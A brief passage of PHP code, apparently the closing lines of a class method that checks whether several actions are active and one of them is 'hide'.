        if ((count($activeActions) > 1) && isset($activeActions['hide'])) {

            return true;

        }

        return false;


    }


}